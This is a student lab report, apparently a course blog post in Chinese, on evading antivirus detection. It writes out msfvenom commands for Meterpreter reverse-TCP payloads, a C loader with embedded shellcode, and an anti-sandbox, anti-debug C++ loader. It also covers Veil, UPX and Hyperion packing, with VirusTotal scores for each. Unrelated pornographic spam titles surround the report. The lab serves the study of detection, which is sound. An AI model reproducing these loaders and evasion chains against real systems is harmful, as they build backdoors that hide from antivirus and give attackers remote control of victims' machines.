<output id="qn6qe"></output>

    1. <output id="qn6qe"><tt id="qn6qe"></tt></output>
    2. <strike id="qn6qe"></strike>

      亚洲 日本 欧洲 欧美 视频,日韩中文字幕有码av,一本一道av中文字幕无码,国产线播放免费人成视频播放,人妻少妇偷人无码视频,日夜啪啪一区二区三区,国产尤物精品自在拍视频首页,久热这里只有精品12

      20232320 2025-2026-1 《網(wǎng)絡(luò)與系統(tǒng)攻防技術(shù)》實(shí)驗(yàn)三實(shí)驗(yàn)報(bào)告

      1.實(shí)驗(yàn)內(nèi)容

      主要是各種工具和命令的使用
      (1)MSFVenom編碼器使用,生成EXE、JAR、PHP、Python等多種格式文件
      使用-e參數(shù)選擇編碼器,如x86/shikata_ga_nai
      使用-i參數(shù)設(shè)置編碼次數(shù)
      使用-f參數(shù)指定輸出格式
      (2)Veil-Evasion工具
      啟動(dòng)veil-evasion工具,選擇payload類型和參數(shù),輸入文件名自動(dòng)生成免殺文件
      (3)UPX壓縮
      通過(guò)壓縮改變文件特征,減小文件體積,增加靜態(tài)分析難度
      (4)C語(yǔ)言+Shellcode編程
      將shellcode嵌入C語(yǔ)言程序,在內(nèi)存中動(dòng)態(tài)執(zhí)行shellcode,避免文件靜態(tài)檢測(cè)
      用MSFVenom生成原始shellcode,編寫C語(yǔ)言加載器程序,使用交叉編譯生成Windows可執(zhí)行文件

      2.實(shí)驗(yàn)過(guò)程

      回答問(wèn)題

      (1)殺軟是如何檢測(cè)出惡意代碼的?

      殺軟的檢測(cè)機(jī)制主要分為兩大類:靜態(tài)特征檢測(cè)和動(dòng)態(tài)行為檢測(cè)
      ·靜態(tài)特征檢測(cè)——“長(zhǎng)什么樣”
      殺軟擁有一個(gè)龐大的病毒特征數(shù)據(jù)庫(kù),通過(guò)將文件與特征庫(kù)進(jìn)行比對(duì),匹配則判定為惡意軟件
      ·動(dòng)態(tài)行為檢測(cè)——“要做什么”
      殺毒軟件在一個(gè)隔離的虛擬環(huán)境(沙盒)中運(yùn)行程序一小段時(shí)間,監(jiān)控其行為,看這個(gè)程序的真實(shí)目的

      (2)免殺是做什么?

      免殺,指“免于被殺毒軟件查殺”,是通過(guò)一系列技術(shù)手段,使其能繞過(guò)殺毒軟件的檢測(cè)在目標(biāo)機(jī)上成功運(yùn)行不被發(fā)覺

      (3)免殺的基本方法有哪些?

      與殺軟的原理相似,免殺的方法也大致分為兩種:靜態(tài)免殺和動(dòng)態(tài)免殺
      ·靜態(tài)免殺:在不運(yùn)行程序的情況下,改變惡意軟件的文件特征,使其無(wú)法被殺毒軟件的靜態(tài)掃描引擎識(shí)別
      a.編碼與加密:加密核心功能,包裹一層簡(jiǎn)單的解密程序,殺軟掃描時(shí)只能看到加密后的亂碼和解密代碼
      b.加殼與打包:使用專門的工具(稱為殼)將原始程序壓縮、加密,并附加一段解殼代碼,運(yùn)行時(shí)解殼代碼先在內(nèi)存中還原原始程序,再跳轉(zhuǎn)執(zhí)行
      c.文件格式混淆:改變可執(zhí)行文件的結(jié)構(gòu)(入口點(diǎn)、重命名等),但保持其功能不變
      d. 分離式加載:將一個(gè)無(wú)害的下載器投遞到目標(biāo)主機(jī),這個(gè)下載器在運(yùn)行時(shí)從遠(yuǎn)程服務(wù)器(如GitHub、云存儲(chǔ)、Pastebin)下載惡意的核心模塊到內(nèi)存中直接執(zhí)行

      ·動(dòng)態(tài)免殺
      a.反沙箱與反虛擬機(jī):程序在啟動(dòng)時(shí)檢測(cè)自己是否運(yùn)行在分析環(huán)境中(內(nèi)存大小、CPU核心數(shù)、硬盤大小)
      b.環(huán)境感知與延時(shí)執(zhí)行:動(dòng)態(tài)監(jiān)測(cè)通常只執(zhí)行很短一段時(shí)間,惡意程序不會(huì)立即執(zhí)行,而是等待特定的條件或信號(hào)(點(diǎn)擊、移動(dòng)鼠標(biāo)、按下特定鍵、特定時(shí)間點(diǎn))
      c.進(jìn)程注入與傀儡進(jìn)程:將惡意代碼注入到一個(gè)合法進(jìn)程中
      d.API 混淆與間接調(diào)用:不直接調(diào)用敏感的Windows API,通過(guò)動(dòng)態(tài)獲取函數(shù)地址等方法調(diào)用

      進(jìn)行實(shí)驗(yàn)

      實(shí)驗(yàn)中使用virustotal作為檢測(cè)標(biāo)準(zhǔn)
      https://www.virustotal.com/gui/home/upload
      101b95480fe4b795529ef13240ff2c0

      (1)使用msf編碼器,veil-evasion,自己利用shellcode編程等免殺工具或技巧

      使用msf編碼器生成exe文件

      使用上個(gè)實(shí)驗(yàn)中生成的單次編碼的exe文件msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.190.129 LPORT=8888 -f exe > 20232320backdoor.exe

      參數(shù)解析:
      -p windows/meterpreter/reverse_tcp:指定payload類型:目標(biāo)操作系統(tǒng)為Windows,使用Metasploit的高級(jí)后門,使用反向TCP連接
      LHOST=192.168.190.129:監(jiān)聽主機(jī)的IP地址
      LPORT=8888:監(jiān)聽端口號(hào)
      -f exe:指定輸出格式為Windows可執(zhí)行文件格式
      

      放入virustotal進(jìn)行檢測(cè)
      80e0255ea75669b3c45eb755224e4c7
      結(jié)果為49/72,以此作為檢測(cè)標(biāo)準(zhǔn)與后面的文件比較
      利用msf編碼器生成多次編碼的exe文件msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.190.129 LPORT=8888 -f exe > 20232320hxyexe.exe

      參數(shù)解析:
      -e x86/shikata_ga_nai指定編碼器為多態(tài)編碼器,每次編碼結(jié)果都不同
      -i 10對(duì)Payload進(jìn)行10次重復(fù)編碼
      -b '\x00'避免在Payload中使用空字節(jié)(0x00),空字節(jié)在字符串處理中會(huì)截?cái)鄶?shù)據(jù)
      

      e98500d952a877d7d0a78a16198775b
      傳到本機(jī)ncat.exe -lv 8888 > "D:\Desktop\20232320backdoor.exe"
      f632625b706ddc64cf01f5ffac67ad5
      對(duì)該文件進(jìn)行檢測(cè)
      57e72dd34653a53bf5f50f7623c2f50
      結(jié)果為43/72,比單次編碼稍微少一點(diǎn)但是效果不是很明顯,說(shuō)明多次編碼對(duì)exe文件免殺有一定效果

      msf編碼器生成Jar文件

      生成單次編碼的jar文件
      msfvenom -p java/meterpreter/reverse tcp LHOST=192.168.190.129 LPORT=8888 x>20232320hxyjar1.jar
      e910f530bd6e9b1bbe35d7bf7b69146
      通過(guò)ncat傳輸ncat.exe -lv 8888>"D:\Desktop\20232320hxyjar1.jar"
      d3f919ca206703bb026876fe2e78daf
      image
      放入檢測(cè)
      6abd8fe0f4d5819efccf540df5872bf
      得到35/64,再進(jìn)行多次編碼進(jìn)行比較
      重新生成多次編碼的jar包msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.190.129 LPORT=8888 -f jar > 20232320hxyjar2.jar
      14f6aea240155808655bbc788a06195
      同樣的使用ncat傳到本機(jī)中,放到virustotal檢測(cè)
      2eb2c16c9cfd8c4b7877771af6cfa77
      35/64沒有任何改變,說(shuō)明編碼次數(shù)對(duì)于jar文件的免殺效果沒有什么提升

      生成php文件

      直接將payload輸出到php文件中msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.190.129 LPORT=8888 -f raw > 20232320hxyphp1.php
      在kali文件夾中找到這個(gè)文件,復(fù)制粘貼到本機(jī)(比ncat傳輸更加方便),放入檢測(cè)
      39ae7f83abb4e97a1ffeb551dc576f3
      得到結(jié)果25/62,再進(jìn)行多次編碼來(lái)對(duì)比
      同樣的對(duì)php文件也進(jìn)行多次編碼msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.190.129 LPORT=8888 -f raw > 20232320hxyphp2.php
      粘貼到本機(jī)進(jìn)行檢測(cè)
      476270d4a8f93d5741b1ee43dd8097b
      可以看到結(jié)果為9/62,提升了不少,多次編碼對(duì)PHP文件的免殺效果提升顯著

      使用Python腳本(py)文件

      構(gòu)建py文件msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.190.129 LPORT=8888 -f py > 20232320hxypy1.py
      1d0ff2dedf1be94377f86a4812743c1
      放到virustotal里然后令人驚訝的事情發(fā)生了
      4d397f6ba527f79e26901496ac4125c
      竟然達(dá)到了0/62,為了驗(yàn)證不是因?yàn)橹坝龅竭^(guò)的沒有傳輸過(guò)來(lái)的問(wèn)題,查看了一下文件屬性
      5cad994229f4b82b18952abb1a56a14
      確確實(shí)實(shí)是傳過(guò)來(lái)了,看來(lái)Python文件病毒在免殺方面有突出的效果,無(wú)論是攻擊方還是防范方都應(yīng)該重視一下

      使用veil工具進(jìn)行免殺處理

      下載veil

      手動(dòng)進(jìn)行安裝sudo apt install veil
      image
      94296062ab6c8e4107e4c900ffeee2b
      (等待安裝,耗時(shí)較長(zhǎng))
      安裝成功后打開,使用use 1選項(xiàng)
      d3f738d2da8c81f80f1c64900cc3eb6
      bb4cfe6b5efc823295bc58f54abe584
      打開list查看
      dc251ea0cb3c91025aabe464f9dd934
      選擇use 7,按照之前實(shí)驗(yàn)中配置反彈連接的IP和端口
      set LHOST 192.168.190.129
      set LPORT 8888
      最后使用generate生成
      aa1a8c1ff2711f6cd13fbe66f100c72
      生成后找到文件,復(fù)制到virustotal檢測(cè)
      26b730c72fc623ea163cabd0839ec57
      8f18173b2350a9498f5a63fa757f76b
      結(jié)果為38/71,veil也有一點(diǎn)點(diǎn)效果但是還是被檢測(cè)出很多

      使用C + shellcode編程

      生成Shellcode源代碼,將Shellcode編寫進(jìn)C語(yǔ)言源代碼之后再編譯成可執(zhí)行文件exe
      生成shellcode,輸入以下命令

      cat > shellcode.c << 'EOF'
      #include <windows.h>
      
      int main() {
          unsigned char shellcode[] = 
          "\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52"
          "\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x31\xff\x0f\xb7"
          "\x4a\x26\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
          "\x01\xc7\x49\x75\xef\x52\x8b\x52\x10\x8b\x42\x3c\x57\x01"
          "\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x48\x18"
          "\x8b\x58\x20\x01\xd3\x85\xc9\x74\x3c\x49\x31\xff\x8b\x34"
          "\x8b\x01\xd6\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"
          "\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01"
          "\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01"
          "\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58"
          "\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00"
          "\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8"
          "\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80"
          "\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\xbe\x81\x68\x02\x00"
          "\x22\xb8\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
          "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74"
          "\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
          "\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f"
          "\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10"
          "\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53"
          "\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8"
          "\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b"
          "\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e"
          "\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"
          "\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a"
          "\x00\x53\xff\xd5";
      
          // 分配可執(zhí)行內(nèi)存
          LPVOID memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
          
          if (memory == NULL) return 1;
          
          // 復(fù)制Shellcode到內(nèi)存
          RtlMoveMemory(memory, shellcode, sizeof(shellcode));
          
          // 執(zhí)行Shellcode
          ((void(*)())memory)();
          
          ret
      

      f289b45d0d3fd8366b01f13dbf5dc06
      編譯成exe文件i686-w64-mingw32-gcc -o 20232320hxyshellcode.exe shellcode.c -s
      33fc3fd13715393f3656b9754f7a03b
      將該文件復(fù)制到本機(jī)中進(jìn)行檢測(cè)
      f72f96f5a0aa542a91227213a901b87
      結(jié)果是33/72,怎么說(shuō)也比veil處理好一些

      壓縮殼UPX加密

      對(duì)上一步生成的exe文件進(jìn)行加殼upx 20232320hxyshellcode.exe -o 20232320hxyshellcode_upx.exe
      a0f4a686642098cc04513998ee4e497
      virustotal檢測(cè)
      7e396231114cc11c4551fcd41e32cbb
      結(jié)果為33/72,還是一個(gè)比較平均的水平吧

      壓縮殼Hyperion加密

      將upx加殼的文件復(fù)制到Hyperion工具所在的工作目錄
      b51e13e4d33f2c1ba4f1d04414d567e
      進(jìn)入/usr/share/windows-resources/hyperion/目錄并對(duì)復(fù)制來(lái)的文件進(jìn)行Hyperion加密處理
      image
      5d0a844e27e4c18b48d726e74072ff8
      b932c500272be2ef3c4f0585657b0a8
      將加密后的文件放入virustotal檢測(cè)
      3b450b1ac6aae6a33e895995ebbecdf
      檢測(cè)結(jié)果49/72,還不如不要進(jìn)行Hyperion加密,看來(lái)Hyperion加密很多特征都已經(jīng)被入庫(kù)了,包括上面的一些技術(shù),畢竟都是一些很經(jīng)典的技術(shù)手段,也不要妄想能通過(guò)這樣簡(jiǎn)單的操作騙過(guò)一直在更新優(yōu)化的殺軟

      (2)通過(guò)組合應(yīng)用各種技術(shù)實(shí)現(xiàn)惡意代碼免殺

      結(jié)合上面的各種嘗試,我最終決定的方案是原始Payload → 編碼混淆 → Veil生成 → Shellcode轉(zhuǎn)換 → 自定義Loader → Hyperion加密 → UPX壓縮
      1.MSFVenom多重編碼
      生成多重編碼的Payload

      msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.190.129 LPORT=8888 \
        -e x86/shikata_ga_nai -i 10 -f raw -o 20232320final.bin
      

      169561b39b8b4545725bd3190615609
      2.Veil生成Loader
      依次輸入

      > use 1
      > list
      > use 7
      > set LHOST 192.168.190.129
      > set LPORT 8888  
      > generate
      > 輸入文件名:20232320finalveil
      

      e9772caf3b92b76dbcb2a47f0b76dd8
      3.創(chuàng)建Shellcode
      查看一下shellcode的內(nèi)容(這里沒有展示完全)
      5401058525ee7c7f9fccf0d8d498bfd
      使用命令創(chuàng)建文件

      cat > 20232320final_loader.cpp << 'EOF'
      #include <windows.h>
      #include <stdio.h>
      
      // 20232320final.bin 的完整 Shellcode
      unsigned char shellcode[] = {
          0xba, 0x9f, 0xee, 0xf7, 0x5b, 0xdb, 0xd0, 0xd9, 0x74, 0x24, 0xf4, 0x5e,
          0x33, 0xc9, 0xb1, 0x96, 0x31, 0x56, 0x13, 0x83, 0xc6, 0x04, 0x03, 0x56,
          0x90, 0x0c, 0x02, 0x82, 0x4f, 0x09, 0x99, 0x11, 0x7b, 0x17, 0xa5, 0x16,
          0x63, 0xe1, 0x75, 0x94, 0xaa, 0x43, 0x06, 0xeb, 0x43, 0xbd, 0x1a, 0x63,
          0x82, 0x3e, 0xdb, 0x7f, 0x91, 0xf9, 0xb9, 0x79, 0x0a, 0x9c, 0x3c, 0x46,
          0x42, 0xec, 0x4a, 0x91, 0x9e, 0x0a, 0x68, 0xc0, 0xcb, 0x3a, 0x82, 0x76,
          0x73, 0xe6, 0x1b, 0x3f, 0xda, 0x27, 0x77, 0xea, 0xcb, 0x7e, 0x49, 0x3f,
          0x61, 0x4f, 0x9f, 0xd5, 0x35, 0x71, 0x76, 0x84, 0xa9, 0x1c, 0xf9, 0xb3,
          0xa7, 0xf8, 0x5f, 0x1b, 0xa8, 0x45, 0x00, 0x7b, 0xf7, 0x8c, 0x1e, 0x42,
          0x13, 0x79, 0x52, 0x5a, 0x47, 0x0a, 0x86, 0xbb, 0x44, 0xfe, 0x9d, 0x93,
          0x26, 0x8f, 0xc5, 0xac, 0xe0, 0x3a, 0xe6, 0x43, 0xf0, 0xa8, 0x64, 0x1a,
          0x62, 0x86, 0xc5, 0xbe, 0x90, 0x99, 0x7f, 0xf8, 0xea, 0x20, 0x9a, 0xcb,
          0x2c, 0x5f, 0x43, 0xe1, 0x08, 0x99, 0xf8, 0x34, 0x99, 0xf7, 0x9b, 0x03,
          0x7f, 0x80, 0xae, 0x8c, 0xe2, 0x90, 0x46, 0x2c, 0x19, 0xf1, 0x3f, 0xdd,
          0x0c, 0x24, 0xad, 0x41, 0x0a, 0x75, 0x5d, 0xc0, 0x6a, 0x89, 0xb1, 0xe9,
          0x60, 0xd7, 0x16, 0x26, 0x3b, 0x6a, 0x4d, 0x27, 0x76, 0x99, 0x65, 0x57,
          0x86, 0x6d, 0x67, 0x38, 0x3e, 0xf5, 0x5e, 0x7a, 0xe7, 0x62, 0x57, 0xf1,
          0xe7, 0x47, 0x70, 0xd1, 0xb8, 0xba, 0x4e, 0x0d, 0x9a, 0xea, 0xff, 0x4e,
          0x9a, 0xdb, 0x04, 0xa1, 0x55, 0x8e, 0xa5, 0x32, 0xd0, 0x52, 0xca, 0x27,
          0xc3, 0x0d, 0xa8, 0x10, 0xae, 0xec, 0xde, 0x01, 0xd3, 0x27, 0x18, 0x85,
          0x13, 0x98, 0x91, 0x80, 0xa8, 0x1e, 0x90, 0x40, 0x1c, 0xd0, 0x95, 0x79,
          0x7d, 0x48, 0x84, 0x6e, 0x71, 0xd8, 0x63, 0x5b, 0x3e, 0x83, 0x12, 0xb8,
          0x14, 0x6d, 0xa4, 0xd6, 0x10, 0x89, 0x57, 0xfb, 0xce, 0x4b, 0x54, 0xf2,
          0x37, 0x8f, 0x75, 0x13, 0x96, 0x03, 0xb9, 0xcf, 0x42, 0xba, 0x0e, 0x9a,
          0xe2, 0xd0, 0xfe, 0x0a, 0x70, 0x8f, 0x70, 0x09, 0xa9, 0xb4, 0x60, 0xc2,
          0x79, 0x80, 0x0f, 0xf4, 0x02, 0x89, 0x43, 0xd4, 0x7c, 0xb9, 0xe2, 0x63,
          0xfd, 0x8d, 0x9e, 0xea, 0xde, 0x78, 0x23, 0x91, 0x41, 0x3d, 0x66, 0xfc,
          0x39, 0x93, 0x85, 0x1e, 0x96, 0x50, 0xa4, 0x25, 0x26, 0x70, 0x39, 0xc1,
          0x5e, 0x4f, 0x23, 0xbc, 0x15, 0x39, 0x62, 0x0b, 0x6d, 0x3f, 0xde, 0x71,
          0x29, 0x27, 0x88, 0x61, 0xb6, 0x9d, 0xa8, 0x90, 0xa0, 0x71, 0x6b, 0x9f,
          0x74, 0x1c, 0x4b, 0x41, 0xd8, 0x07, 0xa4, 0x99, 0xe4, 0xd0, 0xa3, 0x02,
          0x8e, 0x30, 0xc7, 0xbc, 0x39, 0x7b, 0x69, 0x26, 0x0a, 0xd9, 0x4c, 0xf1,
          0x67, 0xf0, 0x23, 0x72, 0x23, 0x8c, 0xce, 0xc8, 0x8e, 0xbc, 0xb8, 0x69,
          0xe7, 0x11, 0x70, 0xb2, 0x74, 0x95, 0x2e, 0xbb, 0xfa, 0x5e, 0x5c, 0x49,
          0x3b, 0x6f, 0xfa, 0xe8, 0xa9, 0x2a, 0x61, 0xfe, 0xc6, 0x3b, 0x37, 0xa4,
          0x8c, 0xa7, 0x94, 0xd1, 0x69, 0x82, 0x4c, 0xab, 0xd4, 0x8b, 0x51, 0x81,
          0xad, 0x3e, 0x83, 0xfb, 0x1e, 0xad, 0x18, 0x0a, 0x26, 0xf6, 0x9e, 0x8f,
          0xe5, 0x4b, 0xa2, 0x62, 0x57, 0x25, 0xa5, 0x88, 0xf9, 0x01, 0x55, 0xa2,
          0xda, 0x6c, 0xc3, 0x5b, 0x07, 0x6e, 0x3a, 0x7f, 0xba, 0xa1, 0x36, 0xc6,
          0xae, 0x29, 0x62, 0x4d, 0x3b, 0x08, 0xf2, 0x25, 0xe5, 0x55, 0x70, 0xf6,
          0x9d, 0x4d, 0xae, 0x45, 0xba, 0x41, 0x5f, 0xdf, 0x1a, 0xae, 0x78, 0x9c,
          0xb7, 0x3c, 0x46, 0x4b, 0x87, 0x06, 0x39, 0x20, 0x30, 0x14, 0xf7, 0xdb,
          0x8d, 0x29, 0xda, 0xac, 0x37, 0x53, 0x75, 0x89, 0xdf, 0x1e, 0x7c, 0x10,
          0x1d, 0xaa, 0x0e, 0x26, 0xe0, 0xce, 0x88, 0xc7, 0xb7, 0x97, 0x53, 0xdc,
          0xaf, 0x4f, 0x4e, 0x80, 0x6a, 0x2e, 0xec, 0x69, 0x3f, 0xf5, 0x2f, 0xf7,
          0x83, 0xa4, 0x18, 0xd6, 0x74, 0xb8, 0xf3, 0x58, 0x9e, 0x62, 0x14, 0x85,
          0x87, 0x0a, 0xb4, 0x98, 0xc6, 0xa9, 0xb4, 0x08, 0x1d, 0x4f, 0xe7, 0x05,
          0xd1, 0x92, 0x29, 0x6e, 0x79, 0x65, 0xc1, 0x90, 0x80, 0xc0, 0x72, 0x4b,
          0xb8, 0x58, 0xd4, 0x25, 0x69, 0xc5, 0xb5, 0x4a, 0xdb, 0xe2, 0x99, 0x8f,
          0x88, 0x4e, 0x70, 0x76, 0x39, 0x14, 0x41, 0xca, 0xba, 0xd8, 0x0d, 0x09,
          0x70, 0x9c, 0x6f, 0xdf, 0x0e, 0x87, 0x54, 0xbb, 0xd6, 0xf4, 0x66, 0x2a,
          0xa6, 0x21, 0x93, 0xe8, 0x70, 0x49, 0xda, 0xf3, 0x4b, 0x1d, 0x5c, 0x6d
      };
      
      unsigned int shellcode_len = sizeof(shellcode);
      
      // 反沙箱檢測(cè) - 檢查鼠標(biāo)活動(dòng)
      bool IsSafeEnvironment() {
          POINT cursorPos1, cursorPos2;
          GetCursorPos(&cursorPos1);
          Sleep(3000);
          GetCursorPos(&cursorPos2);
          return (cursorPos1.x != cursorPos2.x || cursorPos1.y != cursorPos2.y);
      }
      
      // 反調(diào)試檢測(cè)
      bool IsBeingDebugged() {
          return IsDebuggerPresent();
      }
      
      int main() {
          printf("[*] 20232320final Loader Starting...\n");
          
          if (IsBeingDebugged()) {
              printf("[!] Debugger detected, exiting...\n");
              return 0;
          }
          
          if (!IsSafeEnvironment()) {
              printf("[!] Sandbox detected, exiting...\n");
              return 0;
          }
          
          printf("[+] Environment check passed\n");
          printf("[+] Shellcode size: %d bytes\n", shellcode_len);
          
          LPVOID execMemory = VirtualAlloc(NULL, shellcode_len, 
                                          MEM_COMMIT | MEM_RESERVE, 
                                          PAGE_EXECUTE_READWRITE);
          if (execMemory == NULL) {
              printf("[!] Memory allocation failed\n");
              return 1;
          }
          
          printf("[+] Memory allocated at: 0x%p\n", execMemory);
          RtlMoveMemory(execMemory, shellcode, shellcode_len);
          printf("[+] Executing shellcode...\n");
          
          ((void(*)())execMemory)();
          
          return 0;
      }
      EOF
      

      d1a45dbb4e5a3cde3884619cfc11f4d
      4.編譯為exe文件
      e66b9e66ec99129a14a1d47cf5538b5
      5.Hyperion加密

      cd /usr/share/windows-resources/hyperion
      wine hyperion.exe -v /path/to/20232320final_loader.exe 20232320final_encrypted.exe
      

      11fbba7de66114943aaabc12bed0c21
      復(fù)制到kali目錄下方便查找
      fb9d11656a4efca88892a765040ae64
      6.UPX壓縮
      upx --ultra-brute 20232320final_encrypted.exe -o 20232320final_compressed.exe
      08a14d31913a94955233a67da814b3d
      把這個(gè)成品放到virustotal去檢測(cè),本來(lái)以為會(huì)稍微好一點(diǎn)吧但是得到了這樣
      70572d08ccab03f93c8d5c2d8846ddd
      (還不如沒有組合應(yīng)用過(guò)的)
      好吧我們拿去給殺軟看看
      這里使用的是火絨和聯(lián)想電腦管家,版本如下:
      1cb2cb67bef0e7e364359caf6a8a32a
      (火絨)
      5e839172b55083688e8002b872bc7e8
      (聯(lián)想電腦管家)
      先是給聯(lián)想電腦管家掃描(我把實(shí)驗(yàn)三的所有后門文件移到了一個(gè)文件夾中一并掃描比較)
      a3d459c62bca4def3893fa1bef09672
      b4f1b3e272b80fd9ce3998c65e3159b
      13ef64da044420d9beaefe54dae0454
      掃描結(jié)果是14個(gè)文件發(fā)現(xiàn)了11個(gè),有3個(gè)沒有識(shí)別出,很不幸的是我們費(fèi)勁周章做出的組合技術(shù)那個(gè)20232320final_compressed.exe也被識(shí)別出來(lái)了
      拿給火絨也試一遍
      9fef3161932247189f9196890a3347c
      火絨發(fā)現(xiàn)了7個(gè)
      硬著頭皮試試監(jiān)聽吧
      c9f107c8b76c66a950ced66a4a59bae
      不出意外地失敗了
      9a04e73422d3164ae006e1976615f14
      88f811ef5066e26277dc7da42312e4b
      即使選擇了信任也是無(wú)法連接
      要想連接只能把安全保護(hù)關(guān)掉
      d4fd3c0ef7b9c3b36f33ad5eb79e390
      這之前火絨還把我的后門都刪掉了。。
      70f17a79c1702db86acd189536e3886
      (很命苦的一群后門病毒)
      做完實(shí)驗(yàn)別忘記把安全保護(hù)打開哦~

      3.問(wèn)題及解決方案

      • 問(wèn)題1:多次編碼exe文件放入virustotal檢測(cè)得到結(jié)果是0
        ef9705e6e4c1e60ad624ad3d5a28e67
      • 問(wèn)題1解決方案:查看文件屬性中字節(jié)是0,kali中未使用命令nc 192.168.5.9 8888<20232320hxyexe.exe將文件傳輸過(guò)來(lái)
        47272dc267ef039f96a22e14d75f054
        83c70830ffa52b32ce6f0da52127fc9
        后續(xù)發(fā)現(xiàn)將kali目錄下文件復(fù)制粘貼到本機(jī)中更加方便快捷
      • 問(wèn)題2:Veil安裝沒有完成,出現(xiàn)了AutoIT組件缺失的錯(cuò)誤
        ff5599dd30417e5ea4f385bbb355054
      • 問(wèn)題2解決方案:使用force和silent參數(shù)強(qiáng)制完成安裝
        sudo /usr/share/veil/config/setup.sh --force --silent
        d3f738d2da8c81f80f1c64900cc3eb6
      • 問(wèn)題3:進(jìn)行veil加殼處理后的文件檢測(cè)得到0
        1c962b106a0a8592c666388003fa0db
      • 問(wèn)題3解決方案:選擇文件錯(cuò)誤,檢測(cè)的是exe文件不是c文件
        03a502c9b0cb047c23db338d84045b9
        (不是這個(gè))
        26b730c72fc623ea163cabd0839ec57
        (是這個(gè))
        8f18173b2350a9498f5a63fa757f76b

      4.學(xué)習(xí)感悟及思考

      本次實(shí)驗(yàn)比起真的要自己做出能騙過(guò)殺軟并且在殺軟開啟時(shí)成功連接的病毒的實(shí)驗(yàn)結(jié)果,我認(rèn)為更重要的是實(shí)驗(yàn)過(guò)程,親身體會(huì)每一種免殺的技術(shù)手段,比較各種技術(shù)的免殺結(jié)果,然后基于此不斷完善殺軟的檢測(cè)方法,提高對(duì)于病毒檢測(cè)的成功率,這也是現(xiàn)在以及未來(lái)殺軟的發(fā)展方向。
      目前殺軟的檢測(cè)大多數(shù)是針對(duì)特征碼,這種靜態(tài)的識(shí)別固然有其優(yōu)勢(shì),但是各種免殺技術(shù)不斷更新迭代,只是讓殺軟幫助我們防范肯定不是萬(wàn)全之策,我們也不能高枕無(wú)憂,首先從我們自己的行為來(lái)阻斷病毒的傳播一定是無(wú)論何時(shí)都需注意的,不點(diǎn)擊來(lái)路不明的鏈接和下載不明軟件,警惕社會(huì)工程學(xué)的攻擊,網(wǎng)絡(luò)攻防不僅僅是技術(shù)上的,還有更多方面也應(yīng)兩手抓、多手抓。

      參考資料

      https://blog.csdn.net/leah126/article/details/145620326
      http://www.rzrgm.cn/20222408msy/p/18505326

      posted @ 2025-10-26 16:18  20232320黃馨儀  閱讀(11)  評(píng)論(0)    收藏  舉報(bào)
      主站蜘蛛池模板: 成人看的污污超级黄网站免费| 国产情侣激情在线对白| 丰满妇女强制高潮18xxxx | 免费av深夜在线观看| 亚洲人成网站在线无码| 国产草草影院ccyycom| 免费国产一级特黄aa大片在线| 久久精品国产99国产精品严洲| 亚洲中文字幕一区二区| 宝贝腿开大点我添添公视频免| 色综合久久综合欧美综合网| 国产精品一二二区视在线| 亚洲AV日韩AV激情亚洲| 韩国无码AV片在线观看网站 | 国产在线国偷精品产拍| 成人永久免费A∨一级在线播放 | 最新中文字幕国产精品| 午夜精品久久久久久久爽| 国产精品爽爽va在线观看网站| 亚洲avav天堂av在线网爱情| 蜜桃AV抽搐高潮一区二区| 国产成人精品亚洲日本在线观看| 日喀则市| 自拍偷自拍亚洲精品播放 | 欧美大胆老熟妇乱子伦视频| 亚洲а∨精品天堂在线| 天天澡日日澡狠狠欧美老妇| 久久国产精品不只是精品| 51午夜精品免费视频| 亚洲精品无码成人A片九色播放| 91偷自国产一区二区三区| 国产精品大全中文字幕| 中国熟妇牲交视频| 色综合久久一区二区三区| 无码国内精品久久人妻蜜桃| 天天爱天天做天天爽夜夜揉| 日本偷拍自影像视频久久| 中文字幕日韩人妻一区| 双牌县| 亚洲热无码av一区二区东京热av| 少妇被无套内谢免费看|